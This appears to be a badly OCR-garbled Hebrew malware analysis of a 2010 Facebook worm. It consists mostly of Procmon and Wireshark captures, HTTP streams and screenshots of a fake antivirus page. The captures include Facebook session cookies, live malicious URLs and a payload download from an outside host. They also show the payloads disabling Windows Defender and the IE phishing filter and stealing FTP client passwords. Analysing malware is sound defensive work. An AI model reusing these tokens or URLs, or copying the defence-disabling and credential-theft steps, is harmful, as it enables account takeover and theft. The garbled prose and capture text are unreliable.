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1500 Bh CreateFils
1500 EglﬂuewDiractory
1500 Bk QueyDirectory
1500 2k CloseFile
1500 Bh CreateFils
1500 Bk QueyDirectory
1500 Zh QueyDirsctary
1500 Bh CloseFile
1500 Bk CreateFile
1500 Zh QueryDirsctary
1500 gﬂuewDirectow
1500 Bh CloseFils
1500 Bk CreateFile
1500 B\ﬂuelerectow
1500 EglﬂuewDiractory
1500 Bk CloseFile
1500 A CresteFile
1500 gﬂuewDirectow
1500 Sh QueryDirsctory
1500 5k CloseFile
1500 Bh CreateFils
1500 EglﬂuewDiractory
1500 Bk QueyDirectory
1500 Bk CloseFile
1500 Bh CreateFils
1500 Bk QueyDirectory
1500 Zh QueyDirsctary
1500 Bh CloseFile
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C:\Documents and SettingzhbdministratorLOCAL SETTIMGS

C:\Documents and Settingshadministrator\Local Settings

C:\Documents and Settings\ddministrator\Local Settings

C:\Documents and S ettings\ddministrator\Local Settings

C:\Documents and Settings'ddministratoriLocal Settings\Histay

C:\Documents and Settings\administratorsLocal Settings\History

C:\Documents and S ettings\AdministratorsLocal Settings\History

C:\Documents and Settings'ddministratoriLocal Settings\Histay

C:\Documents and SettingstadministratorsLocal Settings\History\Histary [ES
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C:\Documents and S ettings\Administrator\Local Settings\Temporary [nternet Files\Content.IES
C:\Documents and Settings'bdministratoryLocal Settings\Temporarp Intermet FileshContent.[ES
C:\Documents and S ettingshadministrator\Local Settings\Temporary [nternet Files\Content.IES
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8:13:0... Biexploe.exe 1500 aE!uErySlandardl.. C:ADocuments and S ettings'\AdministratoryCookieshindex, dat
8130, Biexplare exe 1500 gﬂueryﬁtandardl C:ADocuments and 5 ettings'\AdministratoryCookieshindex. dat
.. Biexplare exe 1500 B.QueryStandardl.. C:ADocuments and 5 ettings\AdministratoryCookieshindex, dat
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Biexplore.exe 1500 gﬂueryﬁtandardl C:ADocuments and 5 ettings'\AdministratoryCookieshindex. dat
Biexplore exe 1500 3Query5tandardl C:ADocuments and Settings\AdministratorsLocal Settings\ T emporary Internet Files\Content IES\index dat
iexplare. exe 1500 GuerStandardl... C:ADocuments and 5 ettings\AdministratoryCookieshindex. dat
Biexplore.exe 1500 A CreateFis C:ADocuments and 5 ettings\Administrator\Cookieshadministrator@facebook[2] tat
Bliexplore.exe 1500 BuuawStandafdl.. C:ADocuments and S ettingsh\AdministratorsCookiesh administrator@facebook[2]. tat
.. Biexploe.exe 1500 S ReadFie C:A\Documents and Settings\Administrator\Cookieshadministrator@facebook[2] txt
8:13:0... Biexploe.exe 1500 acluseFile C:A\Documents and Settings\Administrator\ Cookiesh administrator@facebook[2] txt
13 iexplore. exe Tall Zh Huerystandardl.. C:A\Documents and Settings\admiristratoriLocal Settings\Temporary [ntermet Files\Content IES\index.dat
Biexplore exe 1500 B.QueryStandardl C:ADocuments and 5 ettings\AdministratoryCookieshindex. dat
.. Biexplore.exe 1500 ﬁHegQuew\r’a\ue HEEUAS oftwarehMicrosoft\windows\Currenti¥ersionh ntemet 5 ettings\E nabledutodial
Bliexplore.exe 1500 BuuawStandafdl.. C:ADocuments and S ettingsh\AdministratorsLocal S ettings\Temporary Internet Files\Content |ES\index. dat
B iexplore sre 1500 ﬁHegDpenKay HECUAS oftware\MicrozoftstwindowsCurrentversion\ ntemet Settings
.. Biexploe.exe 1500 @%Regluenivalue HKCUAS oftware\Microsoftiwindows\ Currentiersiontl ntemet S ettings\ProsyEnable
Biexplore exe 1500 ﬁHegElﬂseKEy HECUAS oftware\Microzoftswindows\Currenfersion\ ntemet Settings
Biexplore.exe 1500 gﬂuaryﬂ pen CAWINDOW S apstem 32 mswzock. di
.. @iexplare exe 1500 B.Queryﬂ pen C:\Program Filesi ntemet E rplorer\DNSARPLdI
.. B@iexplare exe 1500 B.Queryﬂpen CAWINDOWS spstem 32\ dnsapi dll
Bliexplore.exe 1500 ﬂCraateF\la CAwWIND O S apetem32hdnsapi dil
.. Biexploe.exe 1500 aCrEateF\IEMapu.. CAwWINDOW S epetem32hdnsapi dil
.. Biexploe.exe 1500 A CreateFilehapp... C:w/INDOWShsystem32\dnsapi dil
Biexplore.exe 1500 &Elnseﬁle C:RwWINDOW S apstem32hdnsapi dil
Biexplore exe 1500 &F Load Image C:RwWINDOW S apstem32hdnsapi dil
.. @iexplare exe 1500 ﬁHegDpenKey HELMAS oftware\Microzoftstwindows NTACurentyersionslmage File Execution Options\DNSAPLdI &
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Stream Content

EBX

GET / HTTR/1.1

Connection: close

AcCCEpT: WS

ACCERT-Language: an-us
Accept-Encoding: gzip, deflate
l atible; MoIE ©,00 windows WT 5,1:

AN
datr=12586642852- 02aa29472f9bd9b27cdc048ada4leb2caa2f08163a63986dd9cfe;

HTTP/1.1 200 oK

Cache-Control: private, no-cache, no-store, must-revalidate
Expires: sat, 01 Jan 2000 00:00:00 GMT

P3P: CP="DSP LaW"

Pragma: no-cache

Content-encoding: 1]

content-Type: text/shtml; charset-utf-8

Caonnection: close

Transfer-encoding: chunked

Date: sat, 058 Ooct 2010 17:15:07 GMT

Caok

c_User=100001735716032; Iu—ggréUnBCUNGFESELEYADAUYD; SCT-1286643018; side3;
%5=04adff755deflbdeladf73ra758cefh3; x-referer=htTR%3A%2 FX2Fwi. Facehook. combFE23%2F
HOST Y P - Y= T ] o

L
b

Entire conversation (22588 bytes) - |C> AsCIL ) EBCDIC () Hex Dump ) C Atrays (3) Raw

[ Close

I [ Filter Out This Stream I

21PN Y DNaNn Niny Mavn (2 A%

'@ Follow TCP Stream

Stream Conkent

—user&options[0]=Ffriends_only HTTR

GET fajax/typeahead/first_degres. php’ a=1&viewer=100001735716032&T0ken=1286642877-5&F1 1ter [0]

Connection: close

ACCEpT: WA

MCCEpT-Language: en-us

referer: hittp:/Aww. facebook. com/friends edity]

x-svn-rev: 300003

mccept-encoding: ?zwp, deflate

User-agent: Mozil1Ta 4.0 (compatible; WSIE 6.0; windows NT 5.1; SW1)

Host: www. Facebook. com

Cookie: darr=128A642892-022a2%9472F0hdoh27cdcodBadadleb?caazfogl62aA3986ddscfe
C_user=100001735716032; Tu=ggtEUnBCUNCTEEELEY4DALYY; ScE=1286643018; sid=3;

2rfriendsxzreditizr

HTTR 1.1 200 0K

cache-control: public, max-age=31536000
Content-Length: 629

Content-Type: application/x- ]avascr1pt, charset:utf—s
Expires: Sun, 09 oct 2011 10:16:28 -0F

Last-Modified: Sat, 01 Jan 2000 00:00: 00 GMT

Pragma:

connection: close

Date: Sat, 09 Oct 2010 17:16:28 GMT

, "errorsummary . "errorIswarning”:false
[ 100001?35?16032 "rankType":"friend”, "typa":"user", "text

Nprofile. phﬁ71d 100001735716032” "token [1, phntn”:”http

bedn, neth/rsr /UL omHIn-Sk, git: ncle 1, 3201005040605}

Er’r‘Dr‘Descr“\ pti

‘Cptest

xs=04adff755deflbd9lad FP3Fa708cafh3; x-referer=httpX3a%2F%2Fwww. Facebook, com®2Ffriends%2Fadit®2F%23%

17entEerr”:0,"pay1oad”:

tatd i
T uidt 10000013663?105 "rankTy Pe” "Fr1end” "type"
rofilae. php?id 1000001 36637105, "Tokens " [] oto" PPl
Q/VZZG\/‘})O?\/lOS\/quOOOOlB6637105 6969, jpg", "index":-1.8137252734975}], "fetcht":1}}

ext":"afik Castiel”, "path™: "/
rofile. ak. fhedn. net\/prnf11e -ak-sncd

t | Entire conversation (1579 bytes) w ‘O ASCI () EBCDIC (O Hex Dump () C Arrays (&) Raw

[ Close

1 [ Filker Out This Stream
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"4l Follow TCP Stream

Stream Content

POST fajax/gigaboxx/endpoint /Messagecomposerendpoint. php?__a=1 HTTR/L1.1

CONMECT10M: Cl0sE

Acceph: ¥/

AcCcept-Language: en-us

referer: http: ./ Swww.facebook.coms

w-swn-rev: 3200003

Content-Type: applicationx—www-Torm-urlencoded

accept-Encoding: ?zip, deflate

User-agent: MozilTa 4.0 (compatible; MSIE 6.0; windows NT 5.1; Svl)

Host: www.Tacebook. com

Cortent-Length: 520

Cache-Control: no-cache

Cookie: datr=12866428092-0223a20472F0bdob27cdc04B8adadleh?caazfo8l62a63086ddocfe; c_user=100001735716032;
Tu=got6UnBCUNATBEELEY4 DALY Y; SCE=1286643018; sid=3; xs=04adff755deflbd1ladf73t8758cefh3; x-referer=http¥3a%2r%
2Fwww. Tacebook . com%2 F%2 3% F

1ds_g4Ebga3c2b8f9064dfe?82[0]=100000136637105&subject=Grea%zOvdeo%zowﬁtth%zoyuou.&status:http%BA%zF%2Fdec0r4u.cu.za%2F3yj2e%
2F&ids [0

=100000126637105&act ion=send_new&home_tab_id=1&profile_id=100001735716032&target _1d=0&app_id=_&&composer_id=c4 ch0a3czhif o064 dfe
3 F AU A8 AR AR AR AU AL AR AR AU ASE

2FasssassBanAdpost Form od=0460Fe0ho25dccrh7asc1d0032fdd360&Fh_dtsg=FzanH&lsdé Tog_action=send _newd log thread&ajax log=l&post
200 QK

Cache-Control: private, no-cache, no-store, must-revalidate

Content-Type: applicationsx-javascript; charset=utf-3§

Expires: Sat, 01 Jan 2000 00:00:00 GMT

P3P: CP="DSP LAw"

Pragma: no-cache

set—Cookie: cur_max_Tlag=20; path=/; domain=.facebook.com; httponly

set-Cookie: made_write_conn=1286644693; path=/s; domain=.fTacebook.com

Content-Encoding: gzip

x-Cnection: close

pate: sat, 0% oct 2010 17:18:13 GMT

Content-Length: 682

Connection: claose

PEETET Tmo. 0. .+.5M. ... 9Kkh. .. I.6.I.M8P. &. . kb. .BT.. . 6k.1m. .. K..... 1.5....L..{.2+..~0C..e..... k= ZTC. .o nk LT B Q...
| >
[Save gs]| Entire conversation (2319 bytes) w |O ASCI () EBCDIC () Hex Dump () C Arrays (%) Raw

Help Close Filter Qut This Stream

Y9N [AWNNN N'0ID AYTIN M2 L]0 INK? NIYY - 2ImDI

.Grea vdeo witth yoou &

| pnn | Sar T Nt | | N1pa x93 o | | mymn X e |

Cptest Cptesta 721 NN

nNT 19:18 NYEa J210pIN 09 o Cptest Cptesta
fhttp://decor4u.co.za/3yj2e

aen $] T R
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U nawnn NN7IY XY NIYTINN DX NPNM NI'R DY72INNY Nann LMoYy NitTan A
i i
V7NN 2N T¥n "Nrypn oin" — ynnwnn

facebook Search -

Cptest Cptesta i Sent
Edit My Profile

Welcome

[ News Feed Select: all, Read, None
ﬁ Messages

Updates 5 [{ Afik Castiel Grea vdeo witth yoou.
Sont October 9 at 7:18pm http:/fdecordu.co.za/3yj2e/f

[ Events
A4 Friends

Ja0pn Nan v wRn ("Wall") a2 namd (4 ahe

Afik Castiel

+ maomn yvma W

AN NNX N Y

-3 LR
TMAESM

/http://noonkarine.blogspot.comCptest Cptesta L O L Video
TP PR DD NAAN A0 TP T 3135

.10 2N .

(.010190 NX 'Mj7NNn JoNN NTD7 INKR7Y |2mMDd)

-N7NNNN 7'NNn 7201 N'NNANN NYIQ NY2INN 7 NX90N (12212 1221 NIF IR NIND [XD ,0NVA INT

NIN DA 72T ,|IDTYN DX T YN9N [1AYNN )T NNo1S NY7INnY 0'Timy? 013' ,n91 719'w ' '
NN AT Yrun
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NND1 ,NYIAIN NTAYA NPT WNAN 70U NTAIVN KIN 7aun 772w 1210 NXPI TR AWNY 901 12T
2 Nk (D7D Y7210 *71) Internet Explorer 7w Full-Screen 170

A http:Hiliryv.eu - My computer Online Scan - Microsoft Internet Explorer
System Tasks System scan progress
Wigw system information == ==
= Shared Documents My Documents
Ty Add or remave programs L L

& 17 trojans ) 12 viruses
[ Change a settings
Hard drives

%= Windows Security Alert

Other Places

@ Local Disk (C)

& 24 trojans ") To help protect your computer, Windows Web Security has
detected trojans and ready to remove them.

&3 My Metwork Places
[} My Documents
[ Shared Documents

D¥D

[} Contral Panel £ Detected spyware and adware on your computer: Filename:
2] ovoram Dnve (£
& ~
Admess.Trojan tepservicez.exs |
Details
---------------- 2serv.Transponder.Trojan el
My Computer Scan complete. wWstark.TrojanDownloader wstart di
System Folder 2

Remove all Cancel

Threats and actions:

e Spyware is software, which can gather information from user's computer thraugh S
Tnternet connection and send them to its creator. Gathered information can bs @

@ HackaTack passwords, e-mail addresses and all that data, which is important for you, —

@ Email-Worm.Win32.Myr Gear ., ave

@ Trojan-Downloader.Win  Critical 18.04.2008 S Register & Remave v

Description: -

This program is potentially dangerous for your system. HAckaTack stealing passwords, credit cards and other personal E

vt o your cemputer. El

Advice:

ou need ta remove this threat as so0n as possible!

A htep:/y

WO NInn ,Start-N MWL (TMyn (Yol nn URL-n 72y nAxnn) Title-n niw Ta'7nw 17 in'w
Windows Security -2 721 DX 17'XD wnn NR11 Ty L|9T9TN 7w 1702 720 102 "aImw nikY?
© .p "7 71nwn D17 1™ NN Alert

12072 NT1.Y2IR DTN 79 QY TN YoRN [1I700 7Y 7901 Ik "Remove all" 7y nx'n'? 75w |amd
DT W 27 NINNY

NIRYIN 17 |'RY D ,Internet Zone-nn X7X (Local Zone) mijpn 'DIXQ [Y01 X7 INXY TINYN e
NN D'TINY [IY07 NNYOKRN NIXEAWNNAN 7V N0™M7WUN DR W' ANIRY N0 1M A1 DTN
.o'pTN AN

|I'MNANYI AT 7D N7RN NIVTINN DX Y'OPN7 DIPNa ,DAXYN VIYD D'TI' X7 D'¥7N N7 e
TN 1700 DX Y'OPNY 1'7NNT7 NN 7DNIR YN D'Y¥AZN DR TN 12102 7'V wnnwunng
L2200 'MIRWAN NNN YXA7 710' KINW D ,NTAYN 7V Unnwnn NIKYIN DR W'

J7R NITRYT NIwn 7 'R 7nnxni
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2nY9IN5T IR A IR

7¢ MI0PLDINA 7NY7INN NYIV DXV AN NN 7V AMdY71 Facebook NwNa nivTin Ni7wm yin
27U NMpYN NI7ZYon Y 'RINKRY 1MAMnn 775 N2 TI91 AXI9SNN [1221A  NIMTIMN 07NN
TINN VIYD XIN ,DIIYN D'O1A7 NNIX 1DNY  NW2INN ANRY7 AN 77 pw 190 7201 nn% .w2inn
Yal7 0NN 72 XKINY IX) DR'MIYN D912 DNIX [N NIZIYON DX Y¥aINw NY7INYT 11NN yalp X
('XW 1D — AXIDNN 7V 'RINKY MIRIAN 7700) IW7Imn 7y TR191 (IN¥9N v 0m7wun ool nmn
D'RIIP MR TUN7 'ROINRY yalp't "Payload" X2y N7 yalp) nIX'n yalg IR DR TINY
-1 22707 NY7¥N XINY NITAYA NINMdY7 DXNNA 902 NnNn w2inn ann 795 01 ("Dropper”
2V 'RONX TNR Dropper-w XRIXN7? TWOX NI' NUNNY v ny72Inn anpw onpna L Payload

.Payloads 190n 7w n¥1nI nTIN

yx¥an L("RIYNK '0'01D [120) AwNnn 7Y DYpn yTn 9w qio'R yxan Payload-n ,0Mjpn n2na
IN NTD '9'¥90 VT'N/NINNO'O WONYT D2 NIAvNY? Sniffing IN Man In The Browser |1a> NI9pNn
."DropZone" Midnn Ty MY "t RIN -KXIN XINY YyTAN DX ,INX

Command And ) nU'™7w MW7 DY NN NX 12NN ''¥1 Payload 75 vynd 107 qom
12T TWRD DN'X TIAY7 TIkN Nw 191 L,IRC 'Mwa 12rm 2N .Nison niTie? nonni (Control
D'AYNN 7¥ NN NWN71 "Danit! D' N7R D'AwNnY? X .0'WIA D'AwNn 7Y n71m ninda
D'VIVIAN D71Y2 POIVN D7W NIXA QYA 'NANDY 19N VN NnIV7 [XD 01OX X7 ,"Bot-net" D'RIp

.DigitalWhisper 7w '"w'wi [I'722 DONIDW "?NRTN N'NN NIXT NN — Botnet" nwa

0T 120 DN NIKYY [N ,107W WUDDN 7w 021ta 0'oxn ...1n7W NN 1rna nan

" VMware Accelerated AMD PCNet Adapter (Microsoft’s Packet Scheduler) : Capturing - Wireshark
File Edit Wiew Go Capture Analyze  Statistics  Help

BEsan 2BXETE Ae»pTL|IBE QB @@ Mx B

E\Iter:l |v Expression... Clear Apply

o, - Time: Source Destination Protocol Info

il 1.162 Nt RST, A Ack=1 en=0
357 78.040419 192.168.202.140 152.168.202.2 standard guery A www.sevenpinesstabl i
358 78.118766 102.168.202.2 152,168, 202.140 DNS standard guery response CMAME vhostl. om.net A 24,244, 81.51
350 78.126385 192.168.202.140 24.244.81. 51 TCP dnap > http [S¥YM] Seq=0 win=64240 Len=0 MSS=1460
589123 24.244.81. 51 152.168.202.140 TCP

140 24.244. 1

30 cO af ca BC 18 f4  ...5@... .0......
F6 B 41 22 2d 76 50 18 Q3...P.. ..A"LvP.
54 20 2F 28 30 G6C 34 66 ... .GE T /.014

3d 6d 32 34 2e 6% 6e 2e  f7getexe =m24.1n.
2f 31 2e 31 od 0a 43 &f exa HTTP /1.1..co
32 20 63 8¢ 6 73 65 0d  nnection @ <lose.
20 2a 2f 2a 0d 0a 41 63 CACCERTD WML LAC
&f &4 65 e &7 3a 20 67  cept-Enc oding: g
AC 61 74 65 0d 0a 55 73 zip, def late..uUs
3a 20 4d of 7a 69 6c B er-Agent : Mozil]l
6f 6d 70 61 74 69 62 6¢C a/4.0 {c ompatibl
36 2e 30 3b 20 57 69 de e; MSIE 6.0; win
35 22 31 3b 20 53 56 31 dows NT  5.1; svl
20 77 77 77 Ze 73 65 76 . HOST D www. SEv
74 61 62 6c 65 T3 2e 63 enpiness tahles.c
o, ...

WMware Accelerated AMD PCNet Adapter (Micra. Packets: 11755 Displayed: 11755 Marked: 0 Profile: Defaul:
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"Nmye" ' 7 IX Firewall ,Anti Virus N12IN DIY ['KY D"jNa1) NRIFOY 7V D T'yNN 178 DN
vx¥27 121N Payload 75 .1md1nw Payloads-n DN N7 ,NI901 NIMIN 7w (NIN7xn 7y DA ™) 0T
Man In 2101 NI9PNNL 1ND) NIWAINNT NINIAY NIDOIN NIZIYD NIYXANN D'NW71 ,NRIY NI7IYS

.(n17a7n The Browser

:(Ny11n nTayn 7y DnyoIn 170 '9%7) D1IY Payloads nw'w IX¥N1 N7W N2
o Andyl3l.exe
e Andyl35.exe
e fdla245s4 868.exe
e zpskon_1286827802.exe
e zpskon_1286832181.exe
e zpskon_1286832181.exe

Cookies-n NX OIX XIN ,NY7INN 7 N¥ONN 770NN 770 XN ,0M'DN 12 1NIX Andy131.exe NX
PI'TA X7 NINY D, NY7INN NITIYY C'RINKE I'MNANN WD NIZIVON NIX y¥an ,unnunn v
.NNYY NY7IMnn 1191 "M 770 X7X "Payloads”

NITIPO VO XK7X ,"Payload” PI'Ta X7 XIN DAY WN17 WWON ,INY '97w) Andy135.exe 7 NINY
D'{?'7N 190N 191777 KIN IT'PON NRNIN 721 ,0M2T 1900 7y N7 (MY7IMn 7Y |1DTY "2IX IR ,VINA]Y
‘DT'PON NX Y¥2A7 MNI* 77 N Payloads-n AkW21 NY7IN7w 75 nd>yna

NMYURA RNDAIT e

2 Clone of Windows XP Professional - VMware Workstation

File Edit View VM Team Windows Help
s nle 8GR | dO68 o] )
o Back[Track>4 dor 00 D dor (P Pro @cmeof\rﬁnduwsxpprok_

= Proce

74 start

& tventPrope X
EH| RBE | CAD | AN [HH4 M Tt [oromes [ ok
Fiocess Name Dperation Fath Sater S ———
Tandi13Gese &Y Load Image CVWINDOWS system32 udheme di L
Tand13ene  EXAeaOpenkey HELM hWindaws NTACurrer Irmage File Execution Optionshus | Thread: 2202 =]
T and135.exe  @EReglpenkey HKCL Class: Registry |
andi1dBexe  E¢ReqOpenkey HKCL fWindows\D NTE Operstion:  RegSetvalus
CandyiFese  EXReoluenivale HKCL fWindows\D NTE rupositing :
~andi3ese  @fRegChosekey HECLY Hwindows\C WTH Besk] SaCE2
™ andy135.exe # Regllosekey HECU Path: HELMSOF TWARE | Palicies\Microsoft iWindows Defender\Disables
TandyiGexe  @EReqOpenkey HECU Duration: 00000227
™ andy1 35.eve gﬂegﬂpenKey HKCUNControl Panel\Deskiap
™ andy1 35.eve FlegDuenivalue HKCLNControl PanelD esktaptLameButtonT ext
—andyi35ere  EtRegClosskey HECUNControl Pansl\Desktop [;’ﬁ;t‘h, PR
Tandy135exe  @LRegCloseKey HECU ol 1
Tandyi3ere  hQuenOpen CAWINDOWS systemutheme. dl
Tandyi3ere  hQuenOpen CAWINDOWS systemutheme. dl
[ andy135.0xe i QueryOpen CAWINDOWS system3? di
= and, 135010 ReaUpenkey HKLM\5 oftwaretPolicies"Miciosoit
“andyl3ere  LRegCreatsKey HKLM\SOFTWAREFolicies\iorosolttWindows Defender
| andy135.eve gﬂagEaNalua HKLM\SOFTWAREFolicies\MicrosoftiWindows DefenderDisableAntis pyware
andy13.ene ReqClossKey HKLM\SOF TWAREFolicies\iorosolttWindows Defender -
andyT 5 eve eaClosekey ARCMSOF TWARE WFolicies Miciosolt
Tandy35ere  ZhOuenOpen CAWINDOWStigo
T andy136exe @ ReqDpenkey HELY oftwindows\Ci -
N andy135.eke @ Reglueniiale HKLMSOFTWARE! dows\Current onsentFrompt _
Tandyi35ese @ Reglueni/ale HKLMSOFTWARE! dows\Current b
“andyiFese  EtReoClasckey HELM\SOFTWARE dous\Current
“andsiFese  EXReoluenkey HKCUNS oftware\Classes
Candy1Fese  EfReoOpenkey HKCUNS oftware\Classes\CLSIDVFDEI0SCE -952F 4171306 136D ICE622CCH
Candy1Fese  EtReoOpenkey HKCRACLSID\FDBI0SCE - 952F 41 F1-946F -138DICEE22CC)
Tandyi3ese  EXRegCreatekey HECUNS oftwaretMicroscftilntemet ExplorertMain
Tandyidere  E{RegSeivsue HKEL filrtemet ExplorertMain\Check_Assaciations
™ andy1 35.eve FlegCloseKe HKELNS oftwarsMicrosaitilntermet Explorertbain
| showing 230,542 of 3,300,403 events (6.9%) Backed by page file |7

12
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:NNONN Y NX "True"-7 Niwn - Andy135.exe

HKEY LOCAL MACHINE\SOFTWARE\Policies\Microsoft\Windows
Defender\DisableAntiSpyware

0910 ' VI

If you enable this policy setting, Windows Defender does not run.
Computers are not scanned for spyware or other potentially unwanted
software. If you disable or do not configure this policy setting,
Windows Defender runs, and computers are scanned for spyware and other
potentially unwanted software.

NV AnaAIT e

|5 Clone of Windows XP Prof nal - VMware Workstation

File Edit View VM Team Windows Help
nfe eoagE dE80 6

£ Home % GO e ] 83 Clone of Windows XP Profe...

CEx B

W ABEL ©A® #n (DM ot proces gk |
Fiocess Name Dperation Fath Cate L0/ TLf20100 0: 52 022 ~
Tandy13eve  ShSetEndD LN INDDW igsoftware LOG Thread: 4080 ————
ll:andms.exe %Setww e CAWINDD m3Z\confighsoftware.LOG Class: Registry 2
andyl3.exe RenClosekey HELM\SOFTWARE Micrasoftiwindows\CutrentversiontFun , ——

Candifewe  #Pealpenkey HKCLMARPE vents\S chemestppshExplorer\avigating P oDk HD

Candy1Fese  EXReoOpenkey HKLMASOFTWARE \Microsoftiw/indows\Currenty ersion\Run ResUk: AN OTIROUNE)

Tand1ewe  EfRecDeletsValue HELM\SOFTWARE' douss\Current Fun\spsppt Fath: HECU\Saftware|MicrosoftiInternet Explarer\FhishingFiker ND

TandyiBene  @RegClosekey HELM\SOFTWARE Micrasoftiwindows\CuirentyersiontFiun Duration: 0.0000253

TandyiiGews  shOuenOpen CWWINDOWS\ga ND

TandyliGews  shOuenOpen CWWINDOWS\ga ND

“andii3exe  ohOuenOpen CAWINDOWSgo Desired Access: Mainum Alowed ND

TandiBene  EERegDpenkey HKEUNS oftwaretMicrosoftiIntemet ExplorertMain

Tandy135ere @ RenOuenalue ) oft\Internet Explorer\Main\p

Tandy135ere @ RenOuenalue HKCLY oft\Internet Explorer\Main\p

Tandiene  ELRegCloseKey HKEUNS oitwaretMicrosoftiIntemet Explorerthain

TandyliSene &Y Thiead Cresle

Tandyl35ese &Y Thiead Creale

Tandy13ewe  BhluenOpen CAWINDOWStigo ND

Tandy13ewe  shluenOpen C:WINDOWStigo ND

T andy13Gewe  hlisateFie [ =,
Tandy135exe  hOQueyMamelnformationFlle G

—andi3fese  hQuepOpen CoA/INDITWS e ND
@andmaexe gHEgDDEnKEy HKCU oftiIntemet Expl E ND v

andyTI5ere FeqUpenfey HELCTT oI Trlemet Expl -

T andy136exe @ RegQuenialue HECL ofthInternet Expl p

CandyiFese  EfReolueniiale HKCUNS oftwaretMicroscitiltemet Explorer\Mainip

“andyiFese  EfReoClasckey HECLNS oftwaretMicroscitilntemet ExplorerMain

TandyiFere  ShOuenOpen CWwINDOWS fdog34353ediachdf

“andyiFere  ShOuenOpen CWWINDOWS\ga ND

[ andy1F.exe iuuewUDen CVWINDOWS e ND

Tandyi35eve  ShOQueninfomationi/olume [

™ andy135.exe %Duerw&ttlibute\nlormat\on\fu\ =N ﬂ ¥ | [JMext Highlighted 2

< 7 >

|| Showing 230,342 of 3,300,409 events (6.9%) Backed by page File

VN D' DX N7'TA y¥an Andy153.exe

|HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\PhishingFilter

DINKX7 NO'DA NINTR NIVTIN A X7 IE-nw 72 ,INIX 702n NN -7'W91 N>YN2 D"pP VNl NTNa
.0'TiYNn
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DIYIN NIV NI'ON 721 101 AT Y700 DTN DR 110N zpskon_12**** exe AINN 'Nn 27yn
FTP 'mw% nmannini 71017 nindin 7w NIXno'o KX NI (Registry-n) Ndwwnin v

MUK NNAlT @

[~ |svchost exe =k CreateFile CwWINDOWS \AppPatch

™ |svchost exe [_=]\IJuer_l,lFiIeIntemallnfulmatianFiIe CwWINDOWS \WAppPatch

lavchost exe S CloseFile S MDOWS S AppPatch

" lzpskon_128684... B QuenDirectany Cihvwe_ftpini

: zpskon_ 128634, %ElDSEF"E C:h

"~ |zpskon_128684. . @EFegk numialus HECUNS oftware\MicrosoftiindowshS hell oR oam' MM UICache
" levchost. exe rEjnlineatEFile CWINDOWS \spstemds

[ lzvchost.exe Eh QuenFilelntemallnformationFile C: M DOWS Yaystem32

D'¥a7n 7nm v

Password Manager-nn ?7n Kin "wex_ftp.ini" yalzn -0on Xw m

T2 D'WINTN D790 12Y2 INNID X [9XIN [DINA TNWI DINIXK YT .Total Comander

.N19¥NN NX NSy

MNY ANaIT e

iexplore. exe EfFeqClosekey HECUAS oftware\Microgoft\ nternet ExplorersT oolbar

|ﬁdumpcap.exe r3_1\-'\p‘riteFile C:\Documents and SettingsaddministratoriLocal SettingsTemphethei<>3a03368
=zpskon_128684... - QueryOpen C:“Program Files\CuteF TP

"~ lzpskon_128654... @ Rea0penkey HELUAS oftweare Global SCAPEWCuteF TP 6 HomehACT nolbar

" lzpskan_128684... ﬁﬂegﬂ penkey HECUAS aftware\GlobalSCAPE SCuteF TP B Prafessional\OCT oalbar
~lzpskon_128684... EEReqpenkey HELUAS oftweare Global SCAPEWCuteF TP 7 HomehACT nolbar
~lepskon_128684... ﬁﬂegU penk.ey HECUMS aftware G lobal SCAPESCuteF TP 7 Prafessional\OCT oolbar
"lzpskon_128684... EEFRegpenkey HELIUAS oftware !\ FlagshF=P

"~ lzpskon_128684... dﬂegU penkey HELCUA\S oftware\FlashF< P43

lzpskon_128684... EEFRegpenkey HELCUAS oftware\FlaghF<P43

~lzpskon_128684... ﬁHegU penkey HELMAS oftweare! FlashF=P

" lzpskon_128684... ﬁHegD penkey HELMAS aftware\FlashFPy2

~lzpskon_128684... ﬁHegU penk.ey HELMS oftware\FlashF<P3

__[zpskon_T-obod. | & Load Tmage LW INDLW Shspatermaeshel o2 all

™ lzpskon_128684... EEFegpenkey HELMS oftware Microzoftwindows MT4Curentyersiontmage File Execution Optionstshell 32 4l
|~ lzpskon_128684... ﬁﬂegU penk.ey HELMYSYSTEM NS etup

™ lzpskon_128684... #E FegQuent/alue HELMASYS TEMYS etuphSpstemSetuplnProgress

.GlobalSCAPE 7w "CuteFTP"-1 "FlashFXP" nidimn 1NX wioN

MUY NNAIT e

~lzpskon 128684, gﬁegﬁlosng} HECU% olatile Environment

|~ |zpskon_128684... =k CreateFile C:ADocuments and Settings\AdministratoryApplication Data\FileZilla

" lzpskon_128684... 3EreateFiIe C:ADocuments and Settings\AdministratoryApplication Data\FileZilla

" lzpskon_128684... dHegD penk.ey HECUAS oftwarehFileZilla

" lzpskon_128684... dHegD penk.ey HECUAS oftware'FileZilla Client

" lzpskon_128684... dHegD penk.ey HECUAS oftware!FileZillaYRecent Servers

~zpskon_128684... dHegD penk.ey HECUAS oftware!FileZillaSite kM anager

" lzpskon_128684... dHegD penk.ey HECUAS oftware!FileZilla Client\Recent Servers

" lzpskon_128684... dHegD penk.ey HECUAS oftware!FileZilla Client\Site Manager

~zpskon_128684... ﬁHegD penkey HELMAS OF T'wWARE \Microsoftywindows\CurrentersionUninstal\F TP Commander Pro
" lzpskon_128684... dHegD penk.ey HELMASOFT'WARE \Microzoft\w indows\Currenty/ersionUninstal \F TP M avigator

" lzpskon_128684... dHegD penk.ey HELMSSOFT'WARE \WMicrozoft\w indows\CurrentyersioniUninstal\F TP Commander
~zpskon_128684... ﬁHegD penkey HELMYS OF T'wARE \Microsoftyw indows\Curentersion\Uninstal\F TP Commander Deluse
" lzpskon_128684... dHegD penk.ey HECUAS oftware\EFFTPBullet Proof FTPMain

" lzpskon_128684... dHegD penk.ey HECUAS oftwareBulletProof Software\BulletProof FTP Client\bd ain
~zpskon_128684... ﬁHegD penkey HECUNS oftwareBPFTPBullet Proof FTPYOptions

" lzpskon_128684... dHegD penk.ey HECUAS oftwareBulletProof Software\BulletProof FTP Client\O ptions

" lzpskon_128684... dHegD penk.ey HECUSS oftware\BFF TP

~zpskon_128684... ﬁHegD penkey HECUNS oftware\BPFTPBullet Proof FTPYWMain

[ [zpskon_T28684.. 5 Load Image L (MDD S epstemn s Sshel 32, dl

" lzpskon_128684... dHegD penk.ey HELRS oftwareiMicrosoftWwindows MT4Currenterziont\lmage File Execution Options'shell32.dI
™zpskon_128684... dHegD penkey HELMASYSTE MY Setup

" lzpskon_128684... ‘iﬂegﬂ uery alue HELMYSYSTE M4SetuphSystemS etuplnProgress
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http://www.ghisler.com/
http://www.totalcmd.net/plugring/cda_file_info.html
